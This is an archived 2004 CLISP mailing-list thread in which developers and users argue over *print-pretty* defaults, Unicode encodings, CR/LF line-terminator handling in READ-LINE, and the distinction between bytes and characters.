I don't see how this was supposed to help me.

 > > Also something about the influence of LANG.
 > <http://clisp.cons.org/clisp.html#environment>
 > <http://clisp.cons.org/clisp.html#opt-lang>
 > <http://clisp.cons.org/clisp.html#opt-enc>

This is the sort of thing that it's easy to read and not realize
how it affects you.  Basically I have to learn all about unicode
and what the locale and language mean/affect/control.
I know, I'm just a US-centric (maybe even ascii-centric) old fogey.
And for some reason you don't want to make it easy for me remain so.

 > > Also *print-pretty* - these things have bitten me again and again
 > > in clisp.
 > <http://clisp.cons.org/impnotes/printer.html#multi-rep>

The lesson I have learned (over and over - sort of like claiming to be
really good at quitting smoking cause you've done it so many times!) 
is that I should turn off *print-pretty* before I start.
I really wish the default were different.

 > >  > For input (read), you're doomed w.r.t. faithful input because
 > >  > there's no way to get around CLISP's CRLF translation at end-of
 > >  > line.
 > > Oh, right, THIS is why I have to use binary input.
 > > I really wish there were a way around this.
 > > Why are the line terminator modes not used for input?
 > 
 > <http://sourceforge.net/tracker/index.php?func=detail&aid=731952&group_id=1355&atid=351355>

I'm glad to see it.  I'd like to vote for it.
I realize that the vote that would really count is a patch.



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   hint "--with-module=clx/new-clx" is what you are looking for

Thanks, I didn't think of that.


But getting back to the topic of documentation, it would be nice to
have better documentation of which modules are available.  This info
doesn't seem to appear in the impnotes.


Besides, it would be nice to have an Info version of the impnotes.
I just tried html2texi | makeinfo, and that didn't work out so well.


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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-16 14:00:33 -0600]:
>
> But getting back to the topic of documentation, it would be nice to
> have better documentation of which modules are available.  This info
> doesn't seem to appear in the impnotes.

<http://clisp.cons.org/impnotes/modules.html>
30.2.6. Modules included in the distribution.

The following modules come with the distribution of CLISP:

bindings

    Call the operating system functions from CLISP. The following
    platforms are supported: 

        *          Amiga
        *          Linux/GNU libc
        *          Win32

CLX

    Call Xlib functions from CLISP. Two implementations are supplied:

        *          mit-clx, from MIT
        ftp://ftp.x.org/R5contrib/CLX.R5.02.tar.Z - 
        the standard implementation 
        *          new-clx, by Gilbert Baumann - faster, with additional
          features, but not quite complete yet.  

oracle

    Access Oracle from CLISP; by John Hinsdale.
fastcgi

    Access FastCGI from CLISP; by John Hinsdale.
netica

    Work with Bayesian belief networks and influence diagrams using Netica. 
postgresql

    Access PostgreSQL from CLISP. 
queens

    Compute the number of solutions to the n-queens problem on a n*n
    checkboard (a toy example for the users to explore). 
dirkey

    Directory Access
regexp

    The POSIX Regular Expressions matching, compiling, executing. 
syscalls

    Use some system calls in a platform-independent way. 
wildcard

    Shell (/bin/sh) globbing

> Besides, it would be nice to have an Info version of the impnotes.
> I just tried html2texi | makeinfo, and that didn't work out so well.

the sources are in clisp/doc in DocBook/XML format.
get DocBook/XSL to output info files and you are done.

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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-03-16 11:30:03 -0800]:
>
>  > > Also something about the syntax class of the extra characters.
>  > <http://clisp.cons.org/impnotes.html#graph-char> &c.
>
> I don't see how this was supposed to help me.

the status of a character is determined by its Unicode properties.
what is your question, specifically?
(and what is "syntax class"?)

> I know, I'm just a US-centric (maybe even ascii-centric) old fogey.
> And for some reason you don't want to make it easy for me remain so.

_I_ am an ASCII bigot.
I think that l12n and i18n are wrong.
People who want to use a computer should
1. learn English
2. pass a test, similar to a driving test to get a driver's license.
[no, I am not _completely_ serious - but you are not paying me for
being serious, so you cannot expect me to be serious, right?]

That said, I have never had a problem with CLISP Unicode &c.
I always run "clisp -E utf-8" and I never have any problems.
if I get an encoding error, it is a welcome indication that I have bad data.

>  > > Also *print-pretty* - these things have bitten me again and again
>  > > in clisp.
>  > <http://clisp.cons.org/impnotes/printer.html#multi-rep>
>
> The lesson I have learned (over and over - sort of like claiming to be
> really good at quitting smoking cause you've done it so many times!)
> is that I should turn off *print-pretty* before I start.  I really
> wish the default were different.

which default do you want to change?
we can have a vote.
if the majority wants a different default, it will be changed.
(not in 2.33, that's too close, but in 2.34).

>  > <http://sourceforge.net/tracker/index.php?func=detail&aid=731952&group_id=1355&atid=351355>
>
> I'm glad to see it.  I'd like to vote for it.
> I realize that the vote that would really count is a patch.

before a vote or a patch can be discussed, we need a clear proposal.
At this time I just do not see a way to make a change which would...

1. be generally consistent with Common Lisp standard and culture

2. would be helpful to the users in any way.

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Sam Steingold writes:

> >  > > Also *print-pretty* - these things have bitten me again and again
> >  > > in clisp.
> >  > <http://clisp.cons.org/impnotes/printer.html#multi-rep>
> >
> > The lesson I have learned (over and over - sort of like claiming to be
> > really good at quitting smoking cause you've done it so many times!)
> > is that I should turn off *print-pretty* before I start.  I really
> > wish the default were different.
> 
> which default do you want to change?
> we can have a vote.
> if the majority wants a different default, it will be changed.
> (not in 2.33, that's too close, but in 2.34).


When I, as a user, see in the standard specifications such as:

    Variable *PRINT-PRETTY*
    Value Type:     a generalized boolean.
    Initial Value:  implementation-dependent.
                    ^^^^^^^^^^^^^^^^^^^^^^^^

I understand it to mean that I must put a:

   (SETQ *PRINT-PRETTY* T) 

[or NIL, YMMV] in my ~/.common.lisp file that is loaded by my
various common-lisp rc files.



When I see the same, as an implementer, I undestand that I can put:

     (SETQ *PRINT-PRETTY*  
           (< (IF (NEW-MOON-P (GET-UNIVERSAL-TIME)) 0.3 0.7) (RANDOM 1.0)))
     
in my implementation initialization.
     


I think it's quite futile to have users vote at one time to change the
arbitrary default implemented, whatever it  may be. Next year the user
set will have changed and  their preference too probably.  It would be
more  useful to  prepare and  distribute a  template  of .clisprc.lisp
containing assignments  to all the COMMON-LISP variables  that have an
implementation-dependant initial value.


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-03-16 22:35:36 +0100]:
>
>> which default do you want to change?
>> we can have a vote.
>> if the majority wants a different default, it will be changed.
>> (not in 2.33, that's too close, but in 2.34).
>
>
> When I, as a user, see in the standard specifications such as:
>
>     Variable *PRINT-PRETTY*

I was talking about clisp-specific CUSTOM:*PPRINT-FIRST-NEWLINE*, not
*PRINT-PRETTY*.
the initial value of *PRINT-PRETTY* is not up to a discussion.

> It would be more useful to prepare and distribute a template of
> .clisprc.lisp containing assignments to all the COMMON-LISP variables
> that have an implementation-dependant initial value.

(apropos "" "CUSTOM")
<http://clisp.cons.org/impnotes/customize.html>.

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Sam Steingold writes:
 > the status of a character is determined by its Unicode properties.
 > what is your question, specifically?
 > (and what is "syntax class"?)
What I expected (from many earlier lisp implementations, which of
course did not know about unicode) was that all characters other than 
a special few would act like #\A.  So it took a while to realize that
the error message claiming to be from read was really from read!

 > if I get an encoding error, it is a welcome indication that I have bad data.
My data is not under my control in this case.  It's really bytes that
others (mostly "attackers") send to my server.  But can you blame me
for wanting to view it as 8bit characters?

 > which default do you want to change?
*print-pretty* should be nil
(as it is in every other lisp I have used)

 > >  > <http://sourceforge.net/tracker/index.php?func=detail&aid=731952&group_id=1355&atid=351355>
 > >
 > > I'm glad to see it.  I'd like to vote for it.
 > > I realize that the vote that would really count is a patch.
 > 
 > before a vote or a patch can be discussed, we need a clear proposal.
 > At this time I just do not see a way to make a change which would...
 > 
 > 1. be generally consistent with Common Lisp standard and culture
 > 
 > 2. would be helpful to the users in any way.

I propose a new datum on an encoding that controls how newline data is
read.  At least one possible value should be that cr and lf result in 
separate characters.  I suppose, depending on the line terminator
value one of them could return #\newline and the other could be either
#\return or #\linefeed.  I'd actually like one to be #\return and the
other to be #\linefeed.


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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-03-16 14:00:02 -0800]:
>
>  > if I get an encoding error, it is a welcome indication that I have bad data.
> My data is not under my control in this case.  It's really bytes that
> others (mostly "attackers") send to my server.  But can you blame me
> for wanting to view it as 8bit characters?

yes.
bytes are bytes, characters are characters.
when attackers are trying to exploit a vulnerability (such as a buffer
overflow), what they send is bytes, not characters.

OTOH, if what is being written into the log file is actually characters
(encoded by your application in, say, utf-8), then you should read they
as such, using the encoding which the application which created the file
used.

>  > which default do you want to change?
> *print-pretty* should be nil
> (as it is in every other lisp I have used)

I will leave this to Bruno.

>  > >  > <http://sourceforge.net/tracker/index.php?func=detail&aid=731952&group_id=1355&atid=351355>
>  > >
>  > > I'm glad to see it.  I'd like to vote for it.
>  > > I realize that the vote that would really count is a patch.
>  > 
>  > before a vote or a patch can be discussed, we need a clear proposal.
>  > At this time I just do not see a way to make a change which would...
>  > 
>  > 1. be generally consistent with Common Lisp standard and culture
>  > 
>  > 2. would be helpful to the users in any way.
>
> I propose a new datum on an encoding that controls how newline data is
> read.  At least one possible value should be that cr and lf result in
> separate characters.  I suppose, depending on the line terminator
> value one of them could return #\newline and the other could be either
> #\return or #\linefeed.  I'd actually like one to be #\return and the
> other to be #\linefeed.

you appear to have missed the whole point of mine.
please read my two messages referred to in the RFE above and explain
here - or in a comment to the RFE - what behavior, and _why_(!), you
consider correct in the specific cases I mention there.

specifically, is it OK for READ-LINE to return a string with an
embedded newline?  why?  why not?
how do you propose to avoid it if you do not consider to OK?

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On Mar 16, 2004, at 3:37 PM, Sam Steingold wrote:
> The following modules come with the distribution of CLISP:
> regexp
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>     The POSIX Regular Expressions matching, compiling, executing.

What about pcre?
Seems like that list is out of date?

<D\'gou



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 > please read my two messages referred to in the RFE above and explain
 > here - or in a comment to the RFE - what behavior, and _why_(!), you
 > consider correct in the specific cases I mention there.
 > 
 > specifically, is it OK for READ-LINE to return a string with an
 > embedded newline?  why?  why not?
 > how do you propose to avoid it if you do not consider to OK?

To me the issue is what exactly is a newline.
I don't think it has to be the same as #\return or #\linefeed.
I think that if the line terminator mode is :unix then it should
be ok for READ-LINE to return a string with an embedded #\return
and if line terminator mode is :mac then it should be ok to return
a string with #\linefeed, and if :dos then it should be ok to 
return a string with both of those (but not #\return followed
immediately by #\linefeed).

I can't tell for sure but it appears to me that currently
in clisp (eq #\linefeed #\newline).
I suggest that this not be the case, that newline, return and
linefeed be three different characters, or alternatively, 
that whether (eq #\linefeed #\newline) is true should depend
on the "current" line terminator mode.
This gets into implementation issues that I don't know about.

http://article.gmane.org/gmane.lisp.clisp.general/6970

 with-open-file (s "foo.dos" :direction :output
		  :element-type '(unsigned-byte 8))
   (write-sequence
    (mapcar #'char-code
	    '(#\f #\o #\o #\Newline #\b #\a #\r #\Return #\Newline))
   s))

 now, what should

 (with-open-file (s "foo.dos" :direction :input
		  :element-type 'character
		  :external-format :dos)
   (read-line s))

 return?

There's a problem here, which is that you write and read with
different element types and different external format.
I therefore think that lots of different answers are permissible.
I think the first form should be interpreted according to some
translation of newline and return into unsigned byte 8, and the
second should be interpreted according to to some understanding
of what the element type and external format mean for whatever
was produced by the first form.

 You might reasonably argue that the right string to return is
 "foo\fbar".  Unfortunately, "\f" (== (code-char 10)) is #\Newline in
 CLISP, so READ-LINE would return a string with an embedded newline,
 which, if not outright non-compliant, would be quite surprising to a
 user.

 Because of this problem, CLISP reads CR, LF and CRLF as #\Newline.


http://article.gmane.org/gmane.lisp.clisp.general/4718

 It has been requested on many occasions that CLISP provide an option to
probably mostly by me
 treat CR/LF/CR+LF differently on character input (right now all three
 are read as #\Newline STREAM-ELEMENT-TYPE is CHARACTER).
 The answer to these requests has been to use binary i/o.
 6 months ago it was suggested that a :LINE-TERMINATOR-STRICT-P option
 be added to the ENCODING object.

 The problem is that this feature will produce unexpected results:
 READ-LINE will return strings with embedded #\Newline!
 ANSI does not appear to forbid it.

 In CLISP, #\Newline is identical to #\Linefeed (which is specifically
 permitted by <http://www.lisp.org/HyperSpec/Body/sec_13-1-7.html>).
 Therefore, if the file is exactly this string:

 (concatenate 'string "foo" (string #\Linefeed) "bar"
	      (string #\Return) (string #\Linefeed))

 and we open it with

 (setq e (make-encoding :charset "ascii" :line-terminator :dos
			:line-terminator-strict-p t))
 (setq s (open "foo" :external-format e))

 then the string returned by (READ-LINE s) will contain an embedded
 #\Newline between "foo" and "bar" (because a single #\Linefeed is not
 a
 #\Newline in the specified encoding, it will not make READ-LINE
 return,
 but it _is_ a CLISP #\Newline!)

I'd like it to be #\return and for that not to be the same as
#\newline. 

 Therefore, files "foo" and "bar", written with

 (with-open-file (o "bar" :direction :output :external-format e)
   (with-open-file (i "foo" :external-format e)
     (write-line (read-line i) o)))

ok, so they both use e which is strict dos
So the read-line should return only one line containing a linefeed
in the middle.
Then the write-line should write only one line containing a linefeed
in the middle.  
In both cases there will be a crlf at the end.
Or am I missing something here?

 will be different:

 ---- foo ----
 foo^Jbar
 -------------
 ---- bar ----
 foo
 bar
 -------------

 We already have this behavior (unless the ENCODING's LINE-TERMINATOR
 is
 :UNIX), the point here is that :LINE-TERMINATOR-STRICT-P does _not_
 fix
 this.

 Is anyone still interested in this :LINE-TERMINATOR-STRICT-P feature?
 Do you see any problems with the behavior I just described?




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> * Douglas Philips <qtbh@znp.pbz> [2004-03-16 18:51:04 -0500]:
>
> On Mar 16, 2004, at 3:37 PM, Sam Steingold wrote:
>> The following modules come with the distribution of CLISP:
>> regexp
>>
>>     The POSIX Regular Expressions matching, compiling, executing.
>
> What about pcre?
> Seems like that list is out of date?

just needs regeneration from xml sources.
will be done for the release.

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Don Cohen proposed:
> > *print-pretty* should be nil
> > (as it is in every other lisp I have used)

You have enough customizable variables, from *print-pretty* to the
symbols in the CUSTOM package, that you can set in your .clisprc.lisp file.

The default is set so that clisp becomes most useful to newbies, without
customization. If all other Lisps look frightening to newbies, that's
not a reason why clisp should look the same.

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Don Cohen wrote:
> I propose a new datum on an encoding that controls how newline data is
> read.  At least one possible value should be that cr and lf result in
> separate characters.

This muddles up the distinction between bytes and characters, thereby
creating portability problems.

> To me the issue is what exactly is a newline.
> I don't think it has to be the same as #\return or #\linefeed.
> I think that if the line terminator mode is :unix then it should
> be ok for READ-LINE to return a string with an embedded #\return
> and if line terminator mode is :mac then it should be ok to return
> a string with #\linefeed, and if :dos then it should be ok to
> return a string with both of those (but not #\return followed
> immediately by #\linefeed).

This is the way it's done in Java. And it's shitty: although the standard
way to designate a string with an embedded newline is "foo\n", when you
write a string to a file stream, you find out that
    stream.print("foo\n");
does not the same thing as
    stream.println("foo");

Even Microsoft, since the 1980's, has in its C library a hack in the
fgetc() function that converts 0x0D 0x0A to "\n". Why? Because different
external representations of some thing on different systems must not
lead to different internal (in-memory) representations of it, otherwise
programs become unportable.

Bruno



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Don Cohen wrote:
> it seems inevitable that if you try to map
> multiple file representations to the same memory representation then
> the reverse mapping will (and should) be one to many.  The best you
> can do is provide some way to control both the input and output
> mappings.

Yes. And in clisp this mapping is the ENCODING with its :LINE-TERMINATOR
accessor. It allows you to accomodate different external representations
for the same in-memory representation of #\Newline = (code-char 10).

What you wanted in the last posting, was *different* in-memory representations
of #\Newline. Which leads to unportable programs. This way, you would
write Lisp programs that are less portable between Unix and Windows than
the equivalent C programs!

> Clearly my current solution is exactly what I want.
> I read 8 bit bytes and then call code-char, using an encoding that
> gives me 256 different characters for the 256 bytes.

Such encodings are disappearing rapidly from the landscape. The use of
code-char and char-code makes your program unable to support even the
standard repertoire of characters required for English (because of the
curly quotes...).

> It just seems silly that this should be the best (maybe only) way
> to get the desired result.

You missed the functions CONVERT-STRING-TO-BYTES and CONVERT-BYTES-TO-STRING.

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2004-03-17 21:09:30 +0100]:
>
> What you wanted in the last posting, was *different* in-memory
> representations of #\Newline. Which leads to unportable programs.

why?
because (format nil "~%") will depend on the current value of some
global encoding variable?


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Bruno Haible writes:
 > Don Cohen wrote:
 > > it seems inevitable that if you try to map
 > > multiple file representations to the same memory representation then
 > > the reverse mapping will (and should) be one to many.  The best you
 > > can do is provide some way to control both the input and output
 > > mappings.
 > 
 > Yes. And in clisp this mapping is the ENCODING with its :LINE-TERMINATOR
 > accessor. It allows you to accomodate different external representations
 > for the same in-memory representation of #\Newline = (code-char 10).
 > 
 > What you wanted in the last posting, was *different* in-memory
 > representations
 > of #\Newline. Which leads to unportable programs. This way, you would
 > write Lisp programs that are less portable between Unix and Windows than
 > the equivalent C programs!

I don't know about the equivalent c programs.
I also don't know which programs you view as more or less portable,
but my view is that you should be able to write the program you
want, and preferably in the most straight forward way.
I suppose encodings default to different line terminator modes on
different OS's.  In that case, if you use the default then you
get (what I consider to be) different behavior on different OS's, 
but I guess that's what you want.
If you specify the mode then you get the same behavior on different
OS's.
I argue that if you want the same behavior on different OS's then
you should not use #\newline but either #\return or #\linefeed.
There are plenty of other things that differ from one platform to
another, such as *features* - the differences are viewed by some
people as making it easier to write portable programs, even though
on a small scale they lead to different behavior on different
platforms.


 > > Clearly my current solution is exactly what I want.
 > > I read 8 bit bytes and then call code-char, using an encoding that
 > > gives me 256 different characters for the 256 bytes.
 > 
 > Such encodings are disappearing rapidly from the landscape. The use of

Does this mean that the encoding I now use is likely to disappear?

 > code-char and char-code makes your program unable to support even the
 > standard repertoire of characters required for English (because of the
 > curly quotes...).
I don't know what you you consider the standard repertoire.
(What are the curly quotes?)
And why does char-code not work on them?

 > > It just seems silly that this should be the best (maybe only) way
 > > to get the desired result.
 > 
 > You missed the functions CONVERT-STRING-TO-BYTES and
 > CONVERT-BYTES-TO-STRING.
(You mean STRING-FROM-BYTES)
Yes I did miss those.
But I don't think they do what I need.
They might if they allowed the result to be put into an arbitrary
position of an existing vector.  Right now I do
   (vector-push-extend (code-char (aref *byte-io-vector* i)) ...)

So these depend on encodings but code-char and char-code do not?
I'd appreciate an explanation of that.
It must be related to the curly quote question above.


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Sam Steingold wrote:
> > What you wanted in the last posting, was *different* in-memory
> > representations of #\Newline. Which leads to unportable programs.
> why?
> because (format nil "~%") will depend on the current value of some
> global encoding variable?

Because

  1) So many operations will give subtly different results, starting
     from (length string), (map 'list string), the hash code of a string
     and thus also the order of traversal of a hash table containing
     strings as keys, up to all kinds of string manipulation functions
     that work by scanning a string.

  2) The developer tests his program in one mode and not in the other.
     That was Don Cohen's point about *print-pretty*: one more variable
     that can be switched on or off, means more testing.

In short, in application programming (as opposed to low level system
programming) system dependencies are best handled at the border between
the program and the outside world, and the program logic is kept free of
system dependencies.

Bruno



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Don Cohen wrote:
> I don't know what you you consider the standard repertoire.
> (What are the curly quotes?)
> And why does char-code not work on them?

Oh, char-code works fine on them. It's only when you attempt to feed
this char-code into a byte stream that expects values between 0 and 255
that you will get a nice error.

> (write-string "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D f=
rom Manfred Mann")
=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D from Manfred Mann
"=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D from Manfred Mann"
> (map 'list #'char-code *)
(8220 8216 72 97 32 104 97 8217 32 115 97 105 100 32 116 104 101 32 99 108 =
111
 119 110 8221 32 102 114 111 109 32 77 97 110 102 114 101 100 32 77 97 110 =
110)

> They might if they allowed the result to be put into an arbitrary
> position of an existing vector.

SETF SUBSEQ will copy a vector into an existing one.

> So these depend on encodings but code-char and char-code do not?

Yes, CONVERT-STRING-TO/FROM-BYTES work with any character and any encoding.

Whereas the assumption of the 1980ies, that each character is a byte,
works only for half the encodings of the world and for less than 1/10th
of the characters of the world.

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2004-03-17 22:28:14 +0100]:
>
> Sam Steingold wrote:
>> > What you wanted in the last posting, was *different* in-memory
>> > representations of #\Newline. Which leads to unportable programs.
>> why?
>> because (format nil "~%") will depend on the current value of some
>> global encoding variable?

actually, no, the value of (format nil "~%") is just (string #\Newline)
independent on any global state.

> Because
>
>   1) So many operations will give subtly different results, starting
>   from (length string), (map 'list string), the hash code of a string
>   and thus also the order of traversal of a hash table containing
>   strings as keys, up to all kinds of string manipulation functions
>   that work by scanning a string.

why?
the only change is that (char-code #\Newline) is not 10 anymore.

when you read from a file with the an encoding with a
:LINE-TERMINATOR-STRICT-P NIL (the current behavior), you will have
only #\Newline, no #\Linefeed or #\Return.
When :LINE-TERMINATOR-STRICT-P is T, you will get #\Newline for the
appropriate line terminator and the original control character
otherwise.
(length (format nil "foo~%bar")) is always 7.

>   2) The developer tests his program in one mode and not in the other.
>   That was Don Cohen's point about *print-pretty*: one more variable
>   that can be switched on or off, means more testing.

again, what is that mode?


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> * Bruno Haible <oehab@pyvfc.bet> [2004-03-17 22:43:01 +0100]:
>
>> They might if they allowed the result to be put into an arbitrary
>> position of an existing vector.
>
> SETF SUBSEQ will copy a vector into an existing one.

I think he wants to re-use the vector (a la READ-SEQUENCE).
CONVERT-STRING-TO-BYTES will always allocate a fresh vector.
Maybe an :OUTPUT + :START-OUTPUT combination is needed:

(EXT:CONVERT-STRING-FROM-BYTES byte-vector encoding
                               :START 10 :END 33
                               :OUTPUT string :START-OUTPUT 17)

will write characters into STRING starting at position 17.
(and using ADJUST-ARRAY if STRING is shorter than 40)

> Whereas the assumption of the 1980ies, that each character is a byte,
> works only for half the encodings of the world and for less than
> 1/10th of the characters of the world.

still, each character is an integer, right?
(even 21 bit integer!)

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Bruno Haible writes:
 >   1) So many operations will give subtly different results, starting=

 >      from (length string), (map 'list string), the hash code of a st=
ring
 >      and thus also the order of traversal of a hash table containing=

 >      strings as keys, up to all kinds of string manipulation functio=
ns
 >      that work by scanning a string.

If I use the encoding that generates separate #\cr and #\lf
and maps one-to-one between bytes 0-255 and characters then=20
I get the same result on any system.  (Assuming I don't write
#\newline, but stick to #\cr and #\lf.)
It is when I use the current default which changes from one system
to another that I get different results for different systems.

I should use #\newline and the current encoding stuff when I want
different output on different systems.

 > Oh, char-code works fine on them. It's only when you attempt to feed=

 > this char-code into a byte stream that expects values between 0 and =
255
 > that you will get a nice error.
 >=20
 > > (write-string "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=
=9D from Manfred Mann")
 > =E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D from Manfre=
d Mann
 > "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D from Manfr=
ed Mann"
 > > (map 'list #'char-code *)
 > (8220 8216 72 97 32 104 97 8217 32 115 97 105 100 32 116 104 101 32 =
99 108 111
 >  119 110 8221 32 102 114 111 109 32 77 97 110 102 114 101 100 32 77 =
97 110 110)

Interesting, when I copy your string I get
(map 'list 'char-code "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=
=80=9D from Manfred Mann")
(226 128 156 226 128 152 72 97 32 104 97 226 128 153 32 115 97 105 100 =
32 116
 104 101 32 99 108 111 119 110 226 128 157 32 102 114 111 109 32 77 97 =
110 102
 114 101 100 32 77 97 110 110)

 > SETF SUBSEQ will copy a vector into an existing one.

Can I get that to also do vector-push-extend ?

 > Whereas the assumption of the 1980ies, that each character is a byte=
,
 > works only for half the encodings of the world and for less than 1/1=
0th
 > of the characters of the world.

All I need is one encoding that covers bytes 0-255 and allows me to
read each byte as one character.  I don't care whether the one I use
represents 100% or 1e-9% of the total.

 > > SETF SUBSEQ will copy a vector into an existing one.
 > I think he wants to re-use the vector (a la READ-SEQUENCE).
 > CONVERT-STRING-TO-BYTES will always allocate a fresh vector.
 > Maybe an :OUTPUT + :START-OUTPUT combination is needed:
 > (EXT:CONVERT-STRING-FROM-BYTES byte-vector encoding
 >                                :START 10 :END 33
 >                                :OUTPUT string :START-OUTPUT 17)
 >=20
 > will write characters into STRING starting at position 17.
 > (and using ADJUST-ARRAY if STRING is shorter than 40)
Ah, with the adjust yet!!

How code-char/char-code get away without an encoding:
I gather the point is that the encoding relates bytes on a file to=20
characters, and code-char/char-code relates characters to integers,=20
which evidently do NOT have to be the same integers that you would=20
get if you read or wrote those bytes to/from a file!
I assume that (=3D x (char-code (code-char x))) for x in the appropriat=
e
range.  I've also been assuming that the ascii characters correspond
to the "right" codes.  That's probably all that matters to me so far.


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Don Cohen writes:
> If I use the encoding that generates separate #\cr and #\lf
> and maps one-to-one between bytes 0-255 and characters then=20
> I get the same result on any system.  (Assuming I don't write
> #\newline, but stick to #\cr and #\lf.)
> It is when I use the current default which changes from one system
> to another that I get different results for different systems.
> 
> I should use #\newline and the current encoding stuff when I want
> different output on different systems.


Imagine  you copy  your lisp  program  to three  different systems:  a
Macintosh system, a MS-Windows system and a unix system, and that with
you same lisp  program on these three systems, you try  to read a TEXT
file named example.txt transfered thru  FTP as a text file between the
three systems.

In clear, on the Macintosh you'll have in the file: "texttext[CR]texttext[CR]"
on the unix system you'll have "texttext[LF]texttext[LF]"
and on MS-Windows you'll have  "texttext[CR][LF]texttext[CR][LF]".

Then with your scheme your three identical copies of your program wont
read the same data of the same text file.


> How code-char/char-code get away without an encoding:
> I gather the point is that the encoding relates bytes on a file to=20
> characters, and code-char/char-code relates characters to integers,=20
> which evidently do NOT have to be the same integers that you would=20
> get if you read or wrote those bytes to/from a file!
> I assume that (=3D x (char-code (code-char x))) for x in the appropriat=
> e
> range.  I've also been assuming that the ascii characters correspond
> to the "right" codes.  That's probably all that matters to me so far.

You're assuming too much. The  "ASCII" characters have not the "right"
codes on an EBCDIC system.  And EBCDIC systems are far from dead, they
even do web CGI on CICS...

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Pascal J.Bourguignon writes:

 > Imagine  you copy  your lisp  program  to three  different systems:  a
 > Macintosh system, a MS-Windows system and a unix system, and that with
 > you same lisp  program on these three systems, you try  to read a TEXT
 > file named example.txt transfered thru  FTP as a text file between the
 > three systems.
Right, because ftp happens to be changing the file contents.
If, on the other hand, I use scp, or ftp in binary mode,
then I get the same results with the program that I propose, which
I consider to be system indedpendent, and different results with 
the program that I must write in clisp now, which I regard as
system dependent.  I don't mind that I *can* write a program that
is system dependent.  I just want to be *able* to write one that is
system independent.

 > > How code-char/char-code get away without an encoding:
 > > I gather the point is that the encoding relates bytes on a file to
 > > characters, and code-char/char-code relates characters to integers,
 > > which evidently do NOT have to be the same integers that you would
 > > get if you read or wrote those bytes to/from a file!
 > > I assume that (= x (char-code (code-char x))) for x in the appropriate
 > > range.  I've also been assuming that the ascii characters correspond
 > > to the "right" codes.  That's probably all that matters to me so far.

 > You're assuming too much. The  "ASCII" characters have not the "right"
 > codes on an EBCDIC system.  And EBCDIC systems are far from dead, they
 > even do web CGI on CICS...
Ok, so if I want to use ebcdic then I should use some other encoding.
As it turns out, the Internet protocols pretty much stick to ascii,
so that's what I mostly want to use.


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Date: Wed Mar 17 17:56:05 2004
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Don Cohen writes:
> Pascal J.Bourguignon writes:
> 
>  > Imagine  you copy  your lisp  program  to three  different systems:  a
>  > Macintosh system, a MS-Windows system and a unix system, and that with
>  > you same lisp  program on these three systems, you try  to read a TEXT
>  > file named example.txt transfered thru  FTP as a text file between the
>  > three systems.
>
> Right, because ftp happens to be changing the file contents.
> If, on the other hand, I use scp, or ftp in binary mode,

But once  you copy your files  in BINARY mode, they're  no longer TEXT
files. They are  now binary file, and you  cannot read CHARACTERS from
them only BYTES.   If you want to have the exact  same behavior on the
three  systems  BYTE-FOR-BYTE, you  must  read  and  write BYTES,  not
LINES of CHARACTERS.

> then I get the same results with the program that I propose, which
> I consider to be system indedpendent, and different results with 
> the program that I must write in clisp now, which I regard as
> system dependent.  I don't mind that I *can* write a program that
> is system dependent.  I just want to be *able* to write one that is
> system independent.

Then  don't   use  CHARACTERS  and   CHAR-CODE/CODE-CHAR  since  these
functions  ARE IMPLEMENTATION  DEPENDENT!   Which is  even worse  than
system dependent,  since different implementations on  the same system
can  have  different  idea  of  what  CHAR-CODE  or  CODE-CHAR  should
return.  Even the  SAME implementation  can be  compiled  with options
giving different  results, such  as clisp compiled  in 8-bit  chars or
with unicode support!

 system independent       <=> BYTE, READ-BYTE, WRITE-BYTE
 implementation dependent <=> CHAR, READ-CHAR, WRITE-CHAR


>  > > How code-char/char-code get away without an encoding:
>  > > I gather the point is that the encoding relates bytes on a file to
>  > > characters, and code-char/char-code relates characters to integers,
>  > > which evidently do NOT have to be the same integers that you would
>  > > get if you read or wrote those bytes to/from a file!
>  > > I assume that (= x (char-code (code-char x))) for x in the appropriate
>  > > range.  I've also been assuming that the ascii characters correspond
>  > > to the "right" codes.  That's probably all that matters to me so far.
> 
>  > You're assuming too much. The  "ASCII" characters have not the "right"
>  > codes on an EBCDIC system.  And EBCDIC systems are far from dead, they
>  > even do web CGI on CICS...
>
> Ok, so if I want to use ebcdic then I should use some other encoding.
> As it turns out, the Internet protocols pretty much stick to ascii,
> so that's what I mostly want to use.

My  point,  and  what you  don't  understand,  is  that when  you  are
expecting TEXT data, your program could be running on an EBCDIC system
and receive  URLs and  HTML textual data  in EBCDIC!  Of  course, what
runs  on the wire  is always  ASCII, but  what code  you find  in core
memory  can be  anything the  system likes  to have.   Read  again the
COMMON-LISP standard
http://www.lispworks.com/reference/HyperSpec/Body/02_ac.htm
and you'll see that the only thing that is prescribed is a minimum set
of characters,  but that  the corresponding codes  can be  anything as
long as some constaints are respected:
http://www.lispworks.com/reference/HyperSpec/Body/13_af.htm

You should really study the whole chapter 2 and chapter 13 of CLHS.

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Pascal J.Bourguignon writes:
 > But once  you copy your files  in BINARY mode, they're  no longer TEXT
 > files. They are  now binary file, and you  cannot read CHARACTERS from
 > them only BYTES.   If you want to have the exact  same behavior on the
 > three  systems  BYTE-FOR-BYTE, you  must  read  and  write BYTES,  not
 > LINES of CHARACTERS.

What determines whether they are binary or text files in the first
place?  If I create them emacs are they text?
If I copy them with scp do they remain text?
If I name them .txt does that make them text?
I have to say that I don't see any well defined boundary.
I'm not so sure I really see any boundary at all.
Do you think that a file could possibly contain
part text and part binary data?

 > Then  don't   use  CHARACTERS  and   CHAR-CODE/CODE-CHAR  since  these
 > functions  ARE IMPLEMENTATION  DEPENDENT!
So you think that when I look at some RFC that talks about the
"US-ASCII coded character set" that I should be reading in binary.
You think that when it talks about "GET" this should be viewed as
a sequence of bytes.  I should not use the character string "GET"
